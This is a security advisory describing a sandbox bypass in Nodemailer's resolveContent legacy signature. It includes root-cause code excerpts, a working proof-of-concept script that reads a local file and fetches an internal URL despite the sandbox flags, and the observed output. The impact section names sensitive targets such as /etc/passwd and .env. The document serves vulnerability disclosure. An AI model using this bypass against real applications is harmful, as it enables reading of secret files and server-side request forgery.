Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature

Summary

Nodemailer's disableFileAccess / disableUrlAccess options are a security sandbox that lets an application forbid untrusted message content (html/text/attachment path/href) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit 5f69497) threaded these flags through the library's internal resolution paths (MailMessage.resolveAll() and _convertDataImages()), but the public plugin API MailMessage.resolveContent(...args) (lib/mailer/mail-message.js:41-43) remains a raw passthrough to shared.resolveContent().

When called with the documented legacy signature mail.resolveContent(data, key, callback), shared.resolveContent normalizes the missing options argument to an empty object (options = options || {}, lib/shared/index.js:530). The message-level flags that the MailMessage constructor already copied into mail.data (lib/mailer/mail-message.js:34-38) are silently discarded, so resolveContentValue skips both access-control guards and reaches nmfetch(url) (SSRF, lib/shared/index.js:588) or fs.createReadStream(path) (arbitrary file read, lib/shared/index.js:597).

A plugin or application code that resolves message content through the documented API (the same API the library's own _convertDataImages uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.

Details

Root cause. The MailMessage constructor stores the transporter-level sandbox flags on the message object (lib/mailer/mail-message.js:34-38):

['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {
    if (key in options) {
        this.data[key] = options[key];
    }
});

The public resolver is a pure passthrough (lib/mailer/mail-message.js:41-43):

resolveContent(...args) {
    return shared.resolveContent(...args);
}

shared.resolveContent supports the legacy 3-argument signature and collapses the missing options to {} (lib/shared/index.js:524-530):

module.exports.resolveContent = (data, key, options, callback) => {
    // options is optional; support the legacy resolveContent(data, key, callback) signature
    if (!callback && typeof options === 'function') {
        callback = options;
        options = false;
    }
    options = options || {};
    ...
    resolveContentValue(data, key, options, callback);

resolveContentValue then checks options.disableUrlAccess / options.disableFileAccess (lib/shared/index.js:581 / :590), both undefined for the legacy signature, so it falls through to nmfetch (:588) or fs.createReadStream (:597).

Contrast with the fixed paths. resolveAll() (lib/mailer/mail-message.js:112-115) and _convertDataImages() (lib/mailer/index.js:437-440) both pass the message flags explicitly. The MIME streaming path (lib/mime-node/index.js:1059-1077) also honors the flags. So an application that enables the sandbox and then calls transporter.sendMail() is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the resolveContent JSDoc at lib/shared/index.js:510-523 states it is "useful when you want to create a plugin that needs a content value").

Affected versions. Confirmed on 9.1.0 (HEAD efd6e29c10c6e0c25c57bd2f2a71302838235a4f, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (test/mailer/mail-message-test.js contains no resolveContent test).

PoC

Requires: nodemailer@9.1.0, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.

'use strict';
const nodemailer = require('nodemailer');
const MailMessage = require('nodemailer/lib/mailer/mail-message');

const TARGET_FILE = '/app/src/package.json';   // any readable local file
const SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target

const transporter = nodemailer.createTransport({
    streamTransport: true,
    disableFileAccess: true,   // sandbox explicitly enabled
    disableUrlAccess: true
});

const data = {
    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',
    html: { path: TARGET_FILE },
    attachments: [{ filename: 'x.bin', href: SSRF_URL }]
};
const mail = new MailMessage(transporter, data);
// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true

// Documented legacy plugin signature — options argument omitted:
mail.resolveContent(mail.data, 'html', (err, value) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('FILE_READ_OK len=', value.length);          // -> 1647 (package.json)
});
mail.resolveContent(mail.data.attachments, 0, (err, body) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('URL_FETCH_OK body=', body.toString());      // -> fetched response
});

Observed output on the audit environment (Node 22, nodemailer@9.1.0):

mail.data.disableFileAccess = true | disableUrlAccess = true
[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json
[CONTROL html.path explicit-options] err = EFILEACCESS
[BYPASS html.path legacy] READ OK len = 1647 head = "{\n    \"name\": \"nodemailer\",\n    \"version\": \"9.1.0\",\n    \"des"
[BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n"

The negative controls (resolveAll, and resolveContent with explicit { disableFileAccess: true }) return EFILEACCESS, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real transporter.sendMail() flow when a compile plugin calls mail.resolveContent(mail.data, 'html', cb) / mail.resolveContent(mail.data.attachments, 0, cb).

Impact

An application that enables disableFileAccess / disableUrlAccess to contain untrusted message content and that resolves content through the documented plugin API (mail.resolveContent(data, key, callback)) has its sandbox silently bypassed:

• Arbitrary local file disclosure: a message html/attachment path pointing at a server file (/etc/passwd, .env, key material) is read and returned to the caller / delivered in the message.
• Server-side request forgery: a message href pointing at an internal or loopback URL is fetched from the application host.

Reachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default transporter.sendMail() path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.